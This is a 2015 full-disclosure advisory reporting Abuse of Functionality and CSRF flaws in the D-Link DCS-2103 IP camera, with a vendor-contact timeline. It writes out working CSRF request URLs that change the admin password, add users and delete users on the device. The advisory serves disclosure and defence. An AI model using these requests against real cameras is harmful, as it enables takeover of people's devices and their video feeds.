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List:       full-disclosure
Subject:    [FD] AoF and CSRF vulnerabilities in D-Link DCS-2103
From:       "MustLive" <mustlive () websecurity ! com ! ua>
Date:       2015-10-25 19:11:44
Message-ID: 006401d10f59$0d014cb0$9b7a6fd5 () pc
[Download RAW message or body]

Hello list!

There are Abuse of Functionality and Cross-Site Request Forgery 
vulnerabilities in D-Link DCS-2103 (IP camera).

-------------------------
Affected products:
-------------------------

Vulnerable is the next model: D-Link DCS-2103, Firmware 1.20. All previous 
versions also must be vulnerable.

----------
Details:
----------

Abuse of Functionality (WASC-42):

Admin's login is persistent: admin. Which simplify BF and CSRF attacks 
(about Brute Force I wrote in the second advisory).

Cross-Site Request Forgery (WASC-09):

Change admin's password:

http://site/vb.htm?adduser=admin:password:0

Add user:

http://site/vb.htm?adduser=user:pass:2

Delete user:

http://site/vb.htm?deluser=user

------------
Timeline:
------------

2014.11.14-2014.12.13 - conversation with D-Link about previous 
vulnerabilities in DCS-2103.
2015.07.23 - disclosed at my site previous vulnerabilities in DCS-2103.
2015.08.23 - informed developers about new vulnerabilities in DCS-2103.
2015.08.24 - announced at my site about new vulnerabilities in DCS-2103.
2015.10.24 - disclosed at my site (http://websecurity.com.ua/7877/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 


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